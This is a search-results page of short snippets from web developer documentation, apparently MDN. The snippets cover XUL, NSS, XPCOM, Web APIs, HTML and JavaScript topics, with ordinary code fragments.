... for complete beginners to the web getting started with the web getting started with the web is a concise series introducing you to the practicalities of web development.
... intermediate level multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages.
...And 21 more matches
Using templates and slots - Web Components
this article explains how you can use the <template> and <slot> elements to create a flexible template that can then be used to populate the shadow dom of a web component.
...this element and its contents are not rendered in the dom, but it can still be referenced using javascript.
... trivial quick example: <template id="my-paragraph"> <p>my paragraph</p> </template> this won't appear in your page until you grab a reference to it with javascript and then append it to the dom, using something like the following: let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; document.body.appendchild(templatecontent); although trivial, you can already start to see how this could be useful.
...And 21 more matches
Introduction to using XPath in JavaScript - XPath
mozilla implements a fair amount of the dom 3 xpath, which means that xpath expressions can be run against both html and xml documents.
... document.evaluate this method evaluates xpath expressions against an xml based document (including html documents), and returns a xpathresult object, which can be a single node or a set of nodes.
... the existing documentation for this method is located at document.evaluate, but it is rather sparse for our needs at the moment; a more comprehensive examination will be given below.
...And 21 more matches
Listening to events in Firefox extensions - Archive of obsolete content
there are several different categories of events; this article will help you learn about them and direct you to more specific documentation covering each of them.
... it also provides some use cases that may be of specific interest.
... types of events there are multiple types of events that application and extension authors can use to receive notifications from <xul:browser> and <xul:tabbrowser> elements to hear about changes relating to loads of the content contained within them.
...And 20 more matches
Appendix F: Monitoring DOM changes - Archive of obsolete content
dom mutation events were introduced to html several years ago in order to allow web applications to monitor changes to the dom by other scripts.
... hashchange and popstate events most ajax-heavy sites update the url when they significantly change their content, either via a change to the fragment identifier (hash) or more recently via the history.pushstate method.
...event listeners for those events are the preferred method for detecting dom modifications when feasible.
...And 20 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
if you know the answer, please pass it along to me so i can update the document.
... mflags flags set on the frame to indicate its state.
... these flags can be grouped into two categories: flags which affect all frames ("public" flags), and flags that are reserved for an individual frame's private use ("private" flags).
...And 20 more matches
Supporting private browsing mode - Archive of obsolete content
this interface is deprecated since firefox 20, and will probably be completely removed in firefox 21.see supporting per-window private browsing for details.
...when private browsing mode is enabled, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated.
... the temporary cookie and local storage databases start out empty.
...And 20 more matches
Using Breakpoints in Venkman - Archive of obsolete content
when you set a breakpoint in a debugging application such as venkman, you can take advantage of the suspension to examine variables, objects, and other featues of the execution.
...the first, and most common, is called the "hard" breakpoint.
...hard breakpoints can only exist in the context of a function currently "live" in the browser.
...And 20 more matches
Multiple Rules - Archive of obsolete content
the first rule that matches causes content to be generated for that result.
...thus, you can assume that earlier rules handled earlier matches.
... for instance, if the first rule matched all folders, then the remaining rules can assume that any results that get past the first rule are not folders.
...And 20 more matches
Sorting Results - Archive of obsolete content
for an rdf datasource, again, the results are in the order the query generates them, although except in the case of an rdf seq, this order is arbitrary as rdf triples don't occur in any particular order.
...for more complex queries, this natural sorting will not work, because the sort service assumes that the starting ref resource is the container and the end results are the children.
... in this case, the natural order of the results will just be the order that the template builder generates the results.
...And 20 more matches
Custom Tree Views - Archive of obsolete content
since the view can store and retrieve the data in the most suitable manner for the kind of data used, the tree can be used even when there are hundreds of thousands of rows to be displayed.
...you can create these objects in javascript, but you will need a separate object for each tree.
...thus, you can just leave the treechildren element empty.
...And 20 more matches
List Controls - Archive of obsolete content
example 1 : source view <listbox> <listitem label="butter pecan" /> <listitem label="chocolate chip" /> <listitem label="raspberry ripple" /> <listitem label="squash swirl" /> </listbox> like with the html option element, you can assign a value for each item using the value attribute.
... you can then use the value in a script.
... the list box will default to a suitable size, but you can control the size with the rows attribute.
...And 20 more matches
Splitters - Archive of obsolete content
splitting a box there may be times when you want to have two sections of a window where the user can resize the sections.
... an example is the mozilla browser window, where you can change the size of the sidebar panel by dragging the bar in-between the two frames.
... you can also hide the sidebar by clicking the notch.
...And 20 more matches
Tree Box Objects - Archive of obsolete content
the tree box object is a specialized box object used specifically for trees.
...it is used to indicate that one or more rows have been added to the tree or removed from the tree.
...you don't need to call the rowcountchanged() function when a row has simply changed in some way, for example if a cell's label changes.
...And 20 more matches
Theme changes in Firefox 2 - Archive of obsolete content
note: we could use an article called updating themes for firefox 2 that would serve as a how-to guide for updating themes.
... toolkit/mozapps/preferences/fontscaling.xul - removed from firefox 2.
... changes to the default theme the table below lists all the changes made in the default theme for firefox 2; you can use this information as a starting point for figuring out the changes you need to make.
...And 20 more matches
Using IO Timeout And Interrupt On NT - Archive of obsolete content
this technical memo is a cautionary note on using netscape portable runtime's (nspr) io timeout and interrupt on windows nt 3.51 and 4.0.
... due to a limitation of the present implementation of nspr io on nt, programs must follow the following guideline: if a thread calls an nspr io function on a file descriptor and the io function fails with <tt>pr_io_timeout_error</tt> or <tt>pr_pending_interrupt_error</tt>, the file descriptor must be closed before the thread exits.
...a thread calling an io function is blocked until the io operation finishes, either due to a successful io completion or an error.
...And 20 more matches
Processing XML with E4X - Archive of obsolete content
a full definition of e4x can be found in the ecma-357 specification.
... this chapter provides a practical overview of the language; it is not a complete reference.
...you can add an e4x=1 argument to your <script> tag to disable this restriction: <script type="text/javascript;e4x=1"> ...
...And 20 more matches
Silly story generator - Learn web development
starting point to get this assessment started, you should: go and grab the html file for the example, save a local copy of it as index.html in a new directory somewhere on your computer, and do the assessment locally to begin with.
... basic setup: create a new file called main.js, in the same directory as your index.html file.
...in addition you've got a function called randomvaluefromarray() that takes an array, and returns one of the items stored inside the array at random.
...And 20 more matches
Accessibility/LiveRegionDevGuide
this developer's guide lays out general guidelines that assistive technology (at) developers can use in developing live region support.
... this guide was written from an atk/at-spi point of view as part of the orca live region support project.
...please refer to the liveregions and gecko python modules in orca for a real world example.
...And 20 more matches
Creating Sandboxed HTTP Connections
to create an nsiuri from an string, we use the newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); once the nsiuri has been created, a nsichannel can be generated from it using nsiioservice's newchannelfromuri method: // get a channel for that nsiuri var channel = ioservice.newchannelfromuri(uri); to initiate the connection, the asyncopen method is called.
... channel.asyncopen(listener, null); http notifications the above mentioned listener is a nsistreamlistener, which gets notified about events such as http redirects and data availability.
... onstartrequest - gets called when a new request is initiated.
...And 20 more matches
Simple Thunderbird build
while you can build thunderbird on older hardware it can take quite a bit of time to compile on slower machines with less ram.
... build prerequisites depending on your operating system you will need to carry out a different process to prepare your machine.
... windows build prerequisites gnu/linux build prerequisites macos build prerequisites mapi headers on windows: check that the mapi header files from https://www.microsoft.com/en-us/download/details.aspx?id=12905 are installed because the mapi header files (except mapi.h) are not bundled with visual studio 2017 (windows sdk 10).
...And 20 more matches
SVG Guidelines
at very small dimensions (the extreme case being 1px x 1px) the raster file will likely be much smaller than the svg file since it only needs to store one pixel of data.
... scalability, with caveats one of the primary advantages of svg is that as it is scaled it does not pixelate.
... however, this is not to say that it always does away with the need to have a collection of raster images for display at different scales.
...And 20 more matches
Message manager overview
in the initial version of multiprocess firefox there are two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions the content processes, also called the child processes, run all web content.
... message managers are designed to enable code in one process to communicate with code in a different process.
...these scripts are called frame scripts, and as the name suggests, they are scoped to a specific browser frame.
...And 20 more matches
Embedding the editor
embedding applications here are some embedding scenarios that editor needs to deal with.
...composer embedded in a xul application developers need to embed composer widgets in their xul applications, by using the <editor> tag as we do today.
...composer embedded in a native application in this application, the <iframe> on which the editor lives is embedded directly in the native application; this is equivalent to embedding the browser via nsiwebbrowser, but instead having an editable document.
...And 20 more matches
Implementing QueryInterface
a reference implementation of queryinterface ns_imethodimp nsmyimplementation::queryinterface( refnsiid aiid, void** ainstanceptr ) { ns_assertion(ainstanceptr, "queryinterface requires a non-null destination!"); // it's a logic error, not a runtime error, to call me without any place to put my answer!
... // ...but that won't matter when someone calls me wrongly in a non-debug build.
... if ( !ainstanceptr ) return ns_error_null_pointer; nsisupports* foundinterface; if ( aiid.equals(nscomtypeinfo<nsix>::getiid()) ) foundinterface = ns_static_cast(nsix*, this); else if ( aiid.equals(nscomtypeinfo<nsiy>::getiid()) ) foundinterface = ns_static_cast(nsiy*, this); // ...as many cases as needed...
...And 20 more matches
DeferredTask.jsm
the deferredtask constructor requires gecko 18.0(firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) if you have a function call you want to defer for two seconds, you can do so using the deferredtask constructor, like this: var task = new deferredtask(myfunction, 2000); you can also pass a generator function as the first argument of constructor.
... method overview bool ispending();obsolete since gecko 28 void start();obsolete since gecko 28 void flush();obsolete since gecko 28 void cancel();obsolete since gecko 28 void arm(); void disarm(); promise finalize(); attributes isarmed boolean indicates whether the task is currently requested to start again later, regardless of whether it is currently running.
... isrunning boolean indicates whether the task is currently running.
...And 20 more matches
Profile Manager
firefox and other xulrunner applications store user settings and data in special folders, called profiles.
... firefox provides a built-in applet to manage these profiles, but it will eventually be going away (see bug 214675), so a new standalone profile manager application has been created, which works with any xulrunner application, and has many features not found in firefox's built-in version.
... downloading binaries you can download profile manager builds from https://ftp.mozilla.org/pub/mozilla.org/utilities/profilemanager/1.0/ note: there is no installer; just extract the files from the archive.
...And 20 more matches
HTTP delegation
it does so in a blocking fashion, and also directly to the responder, ignoring any proxy the application may wish to use.
... this causes ocsp requests to fail if the network environment requires the use of a proxy.
...instead of improving the simple http client in nss, the nss team has decided to provide an nss api to register application callback functions.
...And 20 more matches
HTTP delegation
it does so in a blocking fashion, and also directly to the responder, ignoring any proxy the application may wish to use.
... this causes ocsp requests to fail if the network environment requires the use of a proxy.
...instead of improving the simple http client in nss, the nss team has decided to provide an nss api to register application callback functions.
...And 20 more matches
NSS 3.24 release notes
nss 3.24 requires netscape portable runtime (nspr) 4.12 or newer.
...these checks have been disabled by default, as they can cause a performance regression.
... a ssl_configservercert function has been added for configuring ssl/tls server sockets with a certificate and private key.
...And 20 more matches
Encrypt Decrypt_MAC_Using Token
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key.
... if (rv != secsuccess) return rv; rv = macfinal(ctxmac, mac, maclen, maxlen); return rv; } /* * writetoheaderfile */ secstatus writetoheaderfile(const char *buf, unsigned int len, headertype type, prfiledesc *outfile) { secstatus rv; char header[40]; char trailer[40]; char *outstring = null; switch (type) { case symkey: strcpy(header, enckey_header); strcpy(trailer, enckey_trailer); break; case mackey: strcpy(header, mackey_header); strcpy(trailer, mackey_trailer); break; case iv: strcpy(header, iv_header); strcpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trai...
...And 20 more matches
Notes on TLS - SSL 3.0 Intolerant Servers
problem a number of netscape 6.x/7.x and mozilla users have reported that some secure sites -- typically sites featuring online transactions or online banking over the https protocol -- do not display any content at all.
... cause there are some number of web servers in production today which incorrectly implement the ssl 3.0 specification.
... this incorrect implementation causes them to reject connection attempts from clients that are compliant with the ssl 3.0 and tls (aka ssl 3.1) specifications.
...And 20 more matches
JSClass
a c/c++ program can use a jsclass with the js_initclass and js_newobject apis to create objects that have custom methods and properties implemented in c/c++.
...eop enumerate; jsresolveop resolve; jsconvertop convert; /* obsolete since spidermonkey 44 */ /* optional since spidermonkey 25 */ jsfinalizeop finalize; /* optional */ jsclassinternal reserved0; /* obsolete since spidermonkey 13 */ jscheckaccessop checkaccess; /* obsolete since spidermonkey 29 */ jsnative call; jshasinstanceop hasinstance; jsnative construct; jsxdrobjectop xdrobject; /* obsolete since spidermonkey 13 */ jstraceop trace; /* added in spidermonkey 17 */ jsclassinternal reserved1; /* obsolete since spidermonkey 13 */ void *reserved[n]; /* sizeof 'reserved' depends on version */ }; name t...
... addproperty jspropertyop a hook called just after adding a new property.
...And 20 more matches
TPS Tests
the extension will read the test file and perform a series of actions specified therein, such as populating a set of bookmarks, syncing to the sync server, making bookmark modifications, etc.
... set up an environment and run a test to run tps, you should create a new firefox account using a restmail.net email address (strictly speaking, restmail isn't required, but it will allow tps to automatically do account confirmation steps for you.
...word), you should instead execute: python create_venv.py --keep-config %path% activate the environment source %path%/bin/activate run some tests note that the testfile is not a path, it should only be the filename from services/sync/tests/tps/ runtps --debug --testfile %test_file_name% --binary %firefox_binary_path% additionally, omitting a --testfile parameter will cause it to run all tps tests listed in services/sync/tests/tps/all_tests.json an example on osx, for running just the test_sync.js testfile against a locally built firefox (where the mozconfig set the objdir to obj-ff-artifact): runtps --debug --testfile test_sync.js --binary obj-ff-artifact/dist/nightly.app/contents/macos/firefox running tps against stage, or dev fxa tps can be ...
...And 20 more matches
Components.utils.Sandbox
creating a sandbox to create a new sandbox, call components.utils.sandbox: var sandbox = components.utils.sandbox(principal[, options]); using new components.utils.sandbox(...) to create a sandbox has the same effect as calling sandbox(...) without new.
...you can then use it with evalinsandbox() to make it the global scope object for the specified script.
... system principal to specify the system principal, you can create it using code like: cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); content principal you can specify a content principal for a particular origin in one of three ways: as an nsiprincipal, for example by using the nodeprincipal property of a dom node as an nsidomwindow, such as that returned by the dom window property as a string uri like "http://www.example.com/" (discouraged) whe...
...And 20 more matches
nsAutoString
class declaration nstautostring_chart subclass of nststring_chart that adds support for stack-based string allocation.
... it is normally not a good idea to use this class on the heap, because it will allocate space which may be wasted if the string it contains is significantly smaller or any larger than 64 characters.
... names: nsautostring for wide characters nscautostring for narrow characters method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(...
...And 20 more matches
nsCString
class declaration this is the canonical null-terminated string class.
... instances of this class allocate strings on the heap.
...method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsas...
...And 20 more matches
nsString
class declaration this is the canonical null-terminated string class.
... instances of this class allocate strings on the heap.
...method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equa...
...And 20 more matches
nsIEditorSpellCheck
to create an instance, use: var editorspellcheck = components.classes["@mozilla.org/editor/editorspellchecker;1"] .createinstance(components.interfaces.nsieditorspellcheck); method overview void addwordtodictionary(in wstring word); boolean canspellcheck(); void checkcurrentdictionary(); boolean checkcurrentword(in wstring suggestedword); boolean checkcurrentwordnosuggest(in wstring suggestedword); astring getcurrentdictionary(); void getdictionarylist([array, size_is(count)] out wstring dictionarylist, out pruint32 count); wstring getnextmisspelledword(); void getperson...
... canspellcheck() determines whether or not spell checking can be enabled.
... boolean canspellcheck(); parameters none.
...And 20 more matches
nsIIOService
these are provided as a convenience to the programmer and in some cases to improve performance by eliminating intermediate data structures and interfaces.
... inherits from: nsisupports last changed in gecko 1.2 this interface duplicates many of the nsiprotocolhandler methods in a protocol handler independent way (for example newuri() inspects the scheme in order to delegate creation of the new uri to the appropriate protocol handler).
...when in offline mode, attempts to access the network will fail (although this does not necessarily correlate with whether there is actually a network available -- that's hard to detect without causing the dialer to come up).
...And 20 more matches
nsISelectionController
void charactermove(in boolean forward, in boolean extend); boolean checkvisibility(in nsidomnode node, in short startoffset, in short endoffset); void completemove(in boolean forward, in boolean extend); void completescroll(in boolean forward); boolean getcaretenabled(); short getdisplayselection(); nsiselection getselection(in short type); void intralinemove(in boolean forward, in boolean extend); void linemove(in boolean forward, in boolean extend); void pagemove(in boolean forward, in boolean extend); void repaintselection(in short type); ...
... void scrollhorizontal(in boolean left); void scrollline(in boolean forward); void scrollpage(in boolean forward); void scrollselectionintoview(in short type, in short region, in short flags); void selectall(); void setcaretenabled(in boolean enabled); void setcaretreadonly(in boolean readonly); void setcaretvisibilityduringselection(in boolean visibility); void setcaretwidth(in short pixels); obsolete since gecko 1.8 void setdisplayselection(in short toggle); void wordextendfordelete(in boolean forward); native code only!
... void wordmove(in boolean forward, in boolean extend); attributes attribute type description caretvisible boolean this is true if the caret is enabled, visible, and currently blinking.
...And 20 more matches
nsIZipReader
to create an instance, use: var zipreader = components.classes["@mozilla.org/libjar/zip-reader;1"] .createinstance(components.interfaces.nsizipreader); about character sets and code pages note: nsizipreader has a code page problem; that is, in the zip specification, filenames are supposed to use 7-bit ascii; however, most modern filesystems use 8 bit code pages, such as utf-8.
... this can mismatch characters in the nsizipreader api.
...so you can now read and extract what you wrote with nsizipwriter.
...And 20 more matches
Weak reference
this isn't always appropriate, and can lead to trouble.
... if, for instance, this owning reference is part of a cycle of owning references (e.g., if the referenced object also holds a owning reference back to you), then none of the objects in the cycle can be reclaimed without taking special measures.
...to do that, it will call a method on the observer, so it needs a pointer.
...And 20 more matches
nsIMsgCloudFileProvider
inherits from: nsisupports method overview void init(in string aaccountkey); void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); acstring urlforfile(in nsilocalfile afile); void cancelfileupload(in nsilocalfile afile); void refreshuserinfo(in boolean awithui, in nsirequestobserver acallback); void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); void createnewaccount(in acstring aemailaddress, in acstring apassword, in acstring afirstname, in acstring alastname, in nsirequestobserver acallback); void createexistingaccount(in nsi...
...requestobserver acallback); acstring providerurlforerror(in unsigned long aerror); attributes attribute type description type acstring readonly: the type is a unique string identifier which can be used by interface elements for styling.
... serviceurl acstring readonly: a link to the homepage of the service, if applicable.
...And 20 more matches
Network request details - Firefox Developer Tools
the tabs at the top of this pane enable you to switch between the following pages: headers messages (only for websocket items) cookies params response cache timings security (only for secure pages) stack trace (only when the request has a stack trace, e.g.
... a script called by another script).
... headers toolbar using the headers toolbar, you can: filter the headers in the response headers and request headers sections.
...And 20 more matches
Using the CSS Typed Object Model - Web APIs
converting css object model value strings into meaningfully-typed javascript representations and back (via htmlelement.style) can incur a significant performance overhead.
... the css typed om makes css manipulation more logical and performant by providing object features (rather than cssom string manipulation), providing access to types, methods, and an object model for css values.
... computedstylemap() with the css typed om api, we can access all the css properties and values — including custom properties — that are impacting an element.
...And 20 more matches
Hit regions and accessibility - Web APIs
« previousnext » the <canvas> element on its own is just a bitmap and does not provide information about any drawn objects.
... canvas content is not exposed to accessibility tools like semantic html is.
... in general, you should avoid using canvas in an accessible website or app.
...And 20 more matches
DirectoryEntrySync - Web APIs
about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
... this specification is pretty much abandoned, having failed to reach any substantial traction.
... the following creates an empty file called seekrits.txt in the root directory.
...And 20 more matches
PannerNode - Web APIs
it is an audionode audio-processing module describing its position with right-hand cartesian coordinates, its movement using a velocity vector and its directionality using a directionality cone.
... a pannernode always has exactly one input and one output: the input can be mono or stereo but the output is always stereo (2 channels); you can't have panning effects without at least two audio channels!
...its default value is 0, meaning that no sound can be heard.
...And 20 more matches
RTCIceTransportState - Web APIs
the transport state indicates which stage of the candidate gathering process is currently underway.
... values "new" the rtcicetransport is currently gathering local candidates, or is waiting for the remote device to begin to transmit the remote candidates, or both.
... in this state, checking of candidates to look for those which might be acceptable has not yet begun.
...And 20 more matches
RTCStatsReport - Web APIs
the rtcstatsreport interface provides a statistics report obtained by calling one of the rtcpeerconnection.getstats(), rtcrtpreceiver.getstats(), and rtcrtpsender.getstats() methods.
... this statistics report contains a mapping of statistic category string names to objects containing the corresponding statistics data.
... calling getstats() on an rtcpeerconnection lets you specify whether you wish to obtain statistics for outbound, inbound, or all streams on the connection.
...And 20 more matches
Using writable streams - Web APIs
as a javascript developer, programmatically writing data to a stream is very useful!
... note: this article assumes that you understand the use cases of writable streams, and are aware of the high-level concepts.
... if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back.
...And 20 more matches
Using Touch Events - Web APIs
however, devices with touch screens (especially portable devices) are mainstream and web applications can either directly process touch-based input by using touch events or the application can use interpreted mouse events for the application input.
... a disadvantage to using mouse events is that they do not support concurrent user input, whereas touch events support multiple simultaneous inputs (possibly at different locations on the touch surface), thus enhancing user experiences.
... the touch events interfaces support application specific single and multi-touch interactions such as a two-finger gesture.
...And 20 more matches
Lifetime of a WebRTC session - Web APIs
webrtc lets you build peer-to-peer communication of arbitrary data, audio, or video—or any combination thereof—into a browser application.
...see signaling and video calling for an actual example with a step-by-step explanation of what the code does.
...but they realized that it would take longer to complete the transition than 32-bit addresses would last, so other smart people came up with a way to let multiple computers share the same 32-bit ip address.
...And 20 more matches
Web Audio API best practices - Web APIs
as long as you consider security, performance, and accessibility, you can adapt to your own style.
... loading sounds/files there are four main ways to load sound with the web audio api and it can be a little confusing as to which one you should use.
...the audio will start playing when the browser determines it can load the rest of the file before playing finishes.
...And 20 more matches
Functions and classes available to Web Workers - Web APIs
workers run in another global context, dedicatedworkerglobalscope, different from the current window.
... by default, methods and properties of window are not available to them, but dedicatedworkerglobalscope, like window, implements windowtimers and windowbase64.
... comparison of the properties and methods of the different type of workers function dedicated workers shared workers service workers chrome workers outside workers atob() yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on window btoa() yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on window clearinterval() yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on window cleartimeout() yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on ...
...And 20 more matches
Constraint validation - Developer guides
basic, usual constraints can be checked, without the need for javascript, by setting new attributes; more complex constraints can be tested using the constraint validation api.
...even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-compliant browsers (for instance, browsers without html5 and without javascript) or by bad people trying to trick your web application.
... intrinsic and basic constraints in html5, basic constraints are declared in two ways: by choosing the most semantically appropriate value for the type attribute of the <input> element, e.g., choosing the email type automatically creates a constraint that checks whether the value is a valid e-mail address.
...And 20 more matches
Date and time formats used in HTML - HTML: Hypertext Markup Language
for <input>, the values of type that return a value which contains a string representing a date and/or time are: date datetime datetime-local month time week examples before getting into the intricacies of how date and time strings are written and parsed in html, here are some examples that should give you a good idea what the more commonly-used date and time string formats look like.
...it's worth reviewing the descriptions of the formats you're using in order to ensure that your strings are in fact compatible with html, as the html specification includes algorithms for parsing these strings that is actually more precise than iso 8601, so there can be subtle differences in how date and time strings are expected to look.
... year numbers in order to simplify the basic format used for date strings in html, the specification requires that all years be given using the modern (or proleptic) gregorian calendar.
...And 20 more matches
Concurrency model and the event loop - JavaScript
runtime concepts the following sections explain a theoretical model.
... visual representation stack function calls form a stack of frames.
... function foo(b) { let a = 10 return a + b + 11 } function bar(x) { let y = 3 return foo(x * y) } console.log(bar(7)) //returns 42 when calling bar, a first frame is created containing bar's arguments and local variables.
...And 20 more matches
Array.prototype.forEach() - JavaScript
syntax arr.foreach(callback(currentvalue [, index [, array]])[, thisarg]) parameters callback function to execute on each element.
... array optional the array foreach() was called upon.
... thisarg optional value to use as this when executing callback.
...And 20 more matches
Progressive web apps (PWAs)
progressive web apps are web apps that use emerging web browser apis and features along with traditional progressive enhancement strategy to bring a native app-like user experience to cross-platform web applications.
...pwa can be thought of as similar to ajax or other similar patterns that encompass a set of application attributes, including use of specific web technologies and techniques.
... in order to call a web app a pwa, technically speaking it should have the following features: secure contexts (https), one or more service workers, and a manifest file.
...And 20 more matches
page-worker - Archive of obsolete content
this can point to a remote file: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on.
... to do this, save the file in your add-on's data directory and create the url using the data.url() method of the self module: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: require("sdk/self").data.url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
... so you can rewrite the above code like this: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "./myfile.html" }); you can load a new page by setting the page worker's contenturl property.
...And 19 more matches
places/bookmarks - Archive of obsolete content
the module does not automatically sync up a bookmark instance with ongoing changes to that item in the database from the same add-on, other add-ons, or the user.
... save(bookmarks).on("data", function (saved, input) { // a data event is called once for each item saved, as well // as implicit items, like `group` console.log(input === group || ~bookmarks.indexof(input)); // true }).on("end", function (saves, inputs) { // like the previous example, the "end" event returns an // array of all of our updated saves.
... console.log(saves[0].title); // "ran" console.log(saves[2].group.title); // "guitars" }); searching for bookmarks bookmarks can be queried with the search() function, which accepts a query object or an array of query objects, as well as a query options object.
...And 19 more matches
Dialogs and Prompts - Archive of obsolete content
describing dialog windows dialogs in mozilla whenever you want to create a dialog in your application, use <dialog> (instead of usual <window>) as root element in the xul file.
... add ok and cancel buttons in an order that is consistent with os default (but the button set and layout is highly customizable, see below).
... simple dialog code the following xul code defines a simple dialog with two buttons, ok and cancel (buttons="accept,cancel" attribute on dialog).
...And 19 more matches
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
it can be used to write or copy necessary files to the profile folder, like the initial db the add-on will use for storage.
...this appendix covers these cases with simple code that should work for most add-ons.
...the best approach in this case is to use a preference, as explained in the handling preferences section.
...And 19 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
many add-ons need to dynamically generate dom content, either xul or html, from their scripts.
... for security reasons, and to prevent errors, care needs to be taken to avoid evaluating arbitrary text as html.
... failure to do so can lead to execution or remote scripts, and in the worst cases to privilege escalation which can leave a user's pc open to remote attack.
...And 19 more matches
Updating addons broken by private browsing changes - Archive of obsolete content
after reading this document, contact josh matthews with further questions or clarifications, or file a bug if your extension has stopped working due to a change described here and you are having trouble updating it.
... if your code refers to any of the following interfaces: ff 15: nsidomstoragemanager ff 16: nsitransferable ff 18: imgicache moziasyncfavicons nsifaviconservice nsiwebbrowserpersist ff 19: nsicontentprefservice nsidownloadmanager nsidownload nsihttpauthmanager nsistricttransportsecurityservice ff 20: nsiprivatebrowsingservice nsirecentbadcertservice furthermore, if your code uses any of these common chrome apis: ff 19: saveurl saveinternal openlinkin ff 20: openbrowserwindow gprivatebrowsingui finally, if your code watches for any of these observer notifications: private-browsing private-browsing-cancel-vote private-browsing-change-granted private-browsing-transition-complete then your addon will require updating to ...
... imgicache: this must no longer be obtained as a service.
...And 19 more matches
Creating a dynamic status bar extension - Archive of obsolete content
« previousnext » this article builds upon the article creating a status bar extension, which creates a static status bar panel in the firefox status bar, by dynamically updating its content with information fetched from the web every few minutes.
... specifically, this sample displays a stock quote in the status bar, and, when you mouse over it, displays a tooltip containing more detailed information about the stock.
...download the sample you can download a copy of this sample to look over, or to use as the basis for your own extension.
...And 19 more matches
Template and Tree Listeners - Archive of obsolete content
you would implement this object with these two methods if you wish to be notified when the template is rebuilt using the builder's rebuild call.
... the template builder might also force a rebuild when the underlying data change notifications require it.
...recall that when a template is rebuilt, all of the existing content will be removed and generated fresh.
...And 19 more matches
Adding HTML Elements - Archive of obsolete content
adding html elements to a window in addition to all of the xul elements that are available, you can also add html elements directly within a xul file.
... you can actually use any html element in a xul file, meaning that java applets and tables can be placed in a window.
... you should avoid using html elements in xul files if you can.
...And 19 more matches
Anonymous Content - Archive of obsolete content
xbl content xbl can be used to automatically add a set of elements inside another element.
...this is useful for creating a single widget that is made up of a set of other widgets, but can be referred to as only a single widget.
...this way it can be referred to through the css -moz-binding property.
...And 19 more matches
Open and Save Dialogs - Archive of obsolete content
« previousnext » a common type of dialog is one where the user can select a file to open or save.
...it is most commonly used for the open and save menu commands, but you can use it any place in which the user needs to select a file.
... you can use the file picker in one of three modes: open - the user is asked to select a file for opening.
...And 19 more matches
tooltip - Archive of obsolete content
attributes crop, default, label, noautohide, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, page, position properties accessibletype, label, popupboxobject, position, state methods hidepopup, moveto, openpopup, openpopupatscreen, showpopup, sizeto examples <tooltip id="moretip" orient="vertical" style="background-color: #33dd00;"> <label value="click here to see more information"/> <label value="really!" style="color: red;"/> </tooltip> <vbox> <button label="simple" tooltiptext="a simple popup"/> <button label="more" tooltip="moretip"/> </vbox> attributes crop type: one of the values below if the label of the element is too big to fit in its given spac...
... start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.
...And 19 more matches
Images, media, and form elements - Learn web development
understanding what is and isn't possible can save some frustration, and this lesson will highlight some of the main things that you need to know.
...this means that css cannot affect the internal layout of these elements — only their position on the page amongst other elements.
... as we will see however, there are various things that css can do with an image.
...And 19 more matches
Overflowing content - Learn web development
you can constrain the size of these boxes by assigning values of width and height (or inline-size and block-size).
...then we add content that exceeds the allocated space.
...why not scale the size of the container to fit all the content?
...And 19 more matches
What is CSS? - Learn web development
